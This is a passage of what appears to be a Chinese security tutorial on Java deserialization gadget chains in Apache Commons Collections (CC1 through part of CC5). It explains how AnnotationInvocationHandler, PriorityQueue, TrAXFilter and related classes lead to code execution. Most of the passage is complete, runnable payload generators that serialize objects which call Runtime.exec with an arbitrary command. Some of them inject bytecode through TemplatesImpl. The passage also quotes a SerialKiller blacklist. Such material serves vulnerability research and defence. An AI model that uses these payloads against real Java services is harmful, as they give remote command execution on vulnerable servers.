不过幸运的是 AnnotationInvocationHandler 实现了 InvocationHandler 接口,因此 AnnotationInvocationHandler 本身是一个动态代理接口对象。也就是说只要我们把一个 MapAnnotationInvocationHandler 代理,那么代理后的 Map 的任何方法调用都会执行到 AnnotationInvocationHandlerinvoke 方法。

1
2
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

AnnotationInvocationHandlerinvoke 方法特判几种方法后会调用 memberValuesget 方法,也就会触发 LazyMaptransform 方法调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName(); // 获取方法的名称
Class<?>[] paramTypes = method.getParameterTypes(); // 获取方法的参数类型

// 处理 Object 和 Annotation 的方法
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]); // 调用自定义的 equals 实现
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method"); // 如果参数不为0,抛出断言错误

switch(member) {
case "toString":
return toStringImpl(); // 调用自定义的 toString 实现
case "hashCode":
return hashCodeImpl(); // 调用自定义的 hashCode 实现
case "annotationType":
return type; // 返回注解的类型
}

// 处理注解成员的访问器
Object result = memberValues.get(member); // 👈 从 memberValues 中获取对应成员的值,这里调用了 get 方法。

// [...]

return result; // 返回最终的结果
}

利用代码(CC3/CC4)

提示

代理之后任何对 proxyMap 的操作都会触发 transformer 调用,因此需要最后设置恶意的 Transformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections1 {

public static Object getObject(String cmd) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{cmd}),
};
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

setFieldValue(transformerChain, "iTransformers", transformers);

return handler;
}

public static byte[] getPayload(String cmd) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(getObject(cmd));
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payload = getPayload("calc");
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

private static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}

commons-collections4 只是将 LazyMap.decorate 更改为 LazyMap.lazyMap,其余不变。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.*;
import org.apache.commons.collections4.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections1 {

public static Object getObject(String cmd) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{cmd}),
};
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Map innerMap = new HashMap();
Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

setFieldValue(transformerChain, "iTransformers", transformers);

return handler;
}

public static byte[] getPayload(String cmd) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(getObject(cmd));
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payload = getPayload("calc");
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

private static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}

修复情况(≤ JDK8u71)

由于 CC1 和 CC0 一样都是通过 AnnotationInvocationHandler#memberValues 触发,因此针对 CC0 的补丁对 CC1 同样有效,CC1 也在 JDK8u71 之后失效。

CC2

1
2
3
4
5
6
at org.apache.commons.collections4.functors.ChainedTransformer.transform(ChainedTransformer.java:111)
at org.apache.commons.collections4.comparators.TransformingComparator.compare(TransformingComparator.java:81)
at java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:721)
at java.util.PriorityQueue.siftDown(PriorityQueue.java:687)
at java.util.PriorityQueue.heapify(PriorityQueue.java:736)
at java.util.PriorityQueue.readObject(PriorityQueue.java:795)

原理分析(PriorityQueue→TransformingComparator)

前面提到,TransformingComparator 在比较时会对比较的对象调用 transform 方法。

1
2
3
4
5
public int compare(Object obj1, Object obj2) {
Object value1 = this.transformer.transform(obj1);
Object value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

而 Java 中内置的维护顺序的容器如 PriorityQueue 在反序列化时会对内部的元素进行排序,这个过程中在 siftDownUsingComparator 函数内涉及了元素大小的比较。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

因此我们只需要在创建 PriorityQueue 容器时指定比较对象为我们定义的 TransformingComparator,之后往 PriorityQueue 中随便放两个元素,那么在反序列化时就会调用 comparator.compare 方法触发 transform 方法调用。

1
2
Comparator comparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(2,comparator);

利用代码(CC4)

org.apache.commons.collections4.comparators.TransformingComparator 在 commons-collections4.0 以前是版本中是没有实现 Serializable 接口的,因此这个利用链只能在 commons-collections4.0 使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CommonsCollections2 {

public static Object getObject(String cmd) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{cmd}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Comparator comparator = new TransformingComparator(transformerChain);

PriorityQueue queue = new PriorityQueue(2, comparator);
setFieldValue(queue, "queue", new Object[]{1, 1});
setFieldValue(queue, "size", 2);

return queue;
}

public static byte[] getPayload(String cmd) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(getObject(cmd));
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payload = getPayload("calc");
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

private static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}

CC3

1
2
3
4
5
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader.defineClass(TemplatesImpl.java:185)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:414)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:451)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486)
at com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.<init>(TrAXFilter.java:64)

原理分析(…→TrAXFilter→InstantiateTransformer)

2015 年初,@frohoff 和 @gebl 发布了 Talk《Marshalling Pickles: how deserializing objects will ruin your day》,以及 Java 反序列化利用工具 ysoserial,随后引爆了安全界。开发者们自然会去找寻一种安全的过滤方法,于是类似 SerialKiller 这样的工具随之诞生。

SerialKiller 是一个 Java 反序列化过滤器,可以通过黑名单与白名单的方式来限制反序列化时允许通过的类。在其发布的第一个版本代码中,我们可以看到其给出了最初的黑名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
<refresh>6000</refresh>
<blacklist>
<!-- ysoserial's CommonsCollections1 payload -->
<regexp>^org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp>
<!-- ysoserial's CommonsCollections2 payload -->
<regexp>^org\.apache\.commons\.collections4\.functors\.InvokerTransformer$</regexp>
<!-- ysoserial's Groovy payload -->
<regexp>^org\.codehaus\.groovy\.runtime\.ConvertedClosure$</regexp>
<regexp>^org\.codehaus\.groovy\.runtime\.MethodClosure$</regexp>
<!-- ysoserial's Spring1 payload -->
<regexp>^org\.springframework\.beans\.factory\.ObjectFactory$</regexp>
</blacklist>
<whitelist>
<regexp>.*</regexp>
</whitelist>
</config>

这个黑名单中 InvokerTransformer 赫然在列,也就切断了 CommonsCollections1 的利⽤链。有攻就有防,ysoserial 随后增加了不少新的 Gadgets,其中就包括 CommonsCollections3。

CommonsCollections3 的目的很明显,就是为了绕过一些规则对 InvokerTransformer 的限制。CommonsCollections3 并没有使用到 InvokerTransformer 来调用任意方法,而是用到了另一个类,com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

这个类的构造方法中调用了 (TransformerImpl) templates.newTransformer() ,免去了我们使用 InvokerTransformer 手工调用 newTransformer() 方法这一步:

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer(); // 👈
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

我们可以构造如下 ChainedTransformer

1
2
3
4
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj}),
};

并且如果触发 transform 调用的时候参数可控,那么我们还可以进一步优化掉 ConstantTransformerChainedTransformer

利用代码

其实这里可以自由组合其他的链,只要能调用到 transform 方法即可,这里只举例能够省略 ChainedTransformer 的情况。

CC5(CC3/CC4)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections3 {

public static Object getObject(String cmd) throws Exception {
byte[] code = getEvilClass(cmd);
TemplatesImpl templates = new TemplatesImpl();

setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}));
TiedMapEntry entry = new TiedMapEntry(outerMap, TrAXFilter.class);

BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
setFieldValue(exception, "val", entry);

return exception;
}

public static byte[] getPayload(String cmd) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(getObject(cmd));
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payload = getPayload("calc");
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

private static byte[] getEvilClass(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("EvilClass");

ctClass.getClassFile().setMajorVersion(49);
ctClass.makeClassInitializer()
.setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }");

CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superC);

return ctClass.toBytecode();
}

private static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections3 {

public static Object getObject(String cmd) throws Exception {
byte[] code = getEvilClass(cmd);
TemplatesImpl templates = new TemplatesImpl();

setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

Map innerMap = new HashMap();
Map outerMap = LazyMap.lazyMap(innerMap, new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}));
TiedMapEntry entry = new TiedMapEntry(outerMap, TrAXFilter.class);

BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
setFieldValue(exception, "val", entry);

return exception;
}

public static byte[] getPayload(String cmd) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(getObject(cmd));
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payload = getPayload("calc");
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

private static byte[] getEvilClass(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("EvilClass");

ctClass.getClassFile().setMajorVersion(49);
ctClass.makeClassInitializer()
.setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }");

CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superC);

return ctClass.toBytecode();
}

private static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}
CC6(CC3/CC4)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.util.*;
import java.lang.reflect.Field;

public class CommonsCollections3 {

public static Object getObject(String cmd) throws Exception {
byte[] code = getEvilClass(cmd);
TemplatesImpl templates = new TemplatesImpl();

setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
TiedMapEntry entry = new TiedMapEntry(outerMap, TrAXFilter.class);
Map triggerMap = new HashMap();
triggerMap.put(entry, "foo");
outerMap.clear();

setFieldValue(outerMap, "factory", new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}));

return triggerMap;
}

public static byte[] getPayload(String cmd) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(getObject(cmd));
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payload = getPayload("calc");
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

private static byte[] getEvilClass(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("EvilClass");

ctClass.getClassFile().setMajorVersion(49);
ctClass.makeClassInitializer()
.setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }");

CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superC);

return ctClass.toBytecode();
}

private static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.functors.*;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.util.*;
import java.lang.reflect.Field;

public class CommonsCollections3 {

public static Object getObject(String cmd) throws Exception {
byte[] code = getEvilClass(cmd);
TemplatesImpl templates = new TemplatesImpl();

setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

Map innerMap = new HashMap();
Map outerMap = LazyMap.lazyMap(innerMap, new ConstantTransformer(1));
TiedMapEntry entry = new TiedMapEntry(outerMap, TrAXFilter.class);
Map triggerMap = new HashMap();
triggerMap.put(entry, "foo");
outerMap.clear();

setFieldValue(outerMap, "factory", new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}));

return triggerMap;
}

public static byte[] getPayload(String cmd) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(getObject(cmd));
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payload = getPayload("calc");
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

private static byte[] getEvilClass(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("EvilClass");

ctClass.getClassFile().setMajorVersion(49);
ctClass.makeClassInitializer()
.setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }");

CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superC);

return ctClass.toBytecode();
}

private static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}

CC4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader.defineClass(TemplatesImpl.java:185)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:414)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:451)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486)
at com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.<init>(TrAXFilter.java:64)
at sun.reflect.NativeConstructorAccessorImpl.newInstance0(NativeConstructorAccessorImpl.java:-1)
at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
at java.lang.reflect.Constructor.newInstance(Constructor.java:422)
at org.apache.commons.collections4.functors.InstantiateTransformer.transform(InstantiateTransformer.java:116)
at org.apache.commons.collections4.comparators.TransformingComparator.compare(TransformingComparator.java:81)
at java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:721)
at java.util.PriorityQueue.siftDown(PriorityQueue.java:687)
at java.util.PriorityQueue.heapify(PriorityQueue.java:736)
at java.util.PriorityQueue.readObject(PriorityQueue.java:795)

原理分析(CC2+TrAXFilter)

在 CC2 的基础上借助 TrAXFilter+TemplatesImpl 加载字节码绕过对 InvokerTransformer 的过滤。

另外可以在原有利用链的基础上将 TrAXFilter.class 存到 PriorityQueue 中,这样比较的时候传入 TransformingComparator#compare 中的参数直接就是 TrAXFilter.class,从而省略一个 ConstantTransformerChainedTransformer 中元素数量减少为 1,进而可以省略 ChainedTransformer

利用代码(CC4)

由于是在 CC2 的基础上实现的,因此只能适用于 commons-collections4。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;

import javax.xml.transform.Templates;
import java.io.*;

import java.util.*;
import java.lang.reflect.Field;

public class CommonsCollections4 {

public static Object getObject(String cmd) throws Exception {
byte[] code = getEvilClass(cmd);
TemplatesImpl templates = new TemplatesImpl();

setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

Transformer transformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Comparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
setFieldValue(queue, "queue", new Object[]{TrAXFilter.class, TrAXFilter.class});
setFieldValue(queue, "size", 2);

return queue;
}

public static byte[] getPayload(String cmd) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(getObject(cmd));
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payload = getPayload("calc");
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

private static byte[] getEvilClass(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("EvilClass");

ctClass.getClassFile().setMajorVersion(49);
ctClass.makeClassInitializer()
.setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }");

CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superC);

return ctClass.toBytecode();
}

private static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}

CC5

1
2
3
4
5
at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122)
at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:158)
at org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:74)
at org.apache.commons.collections.keyvalue.TiedMapEntry.toString(TiedMapEntry.java:132)
at javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:86)

原理分析(BadAttributeValueExpException→TiedMapEntry→LazyMap)

javax.management.BadAttributeValueExpException 在反序列化 readObject 时如果满足 System.getSecurityManager() == null(实际调试发现确实返回 null)条件时会对其中的 val 成员调用 toString 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
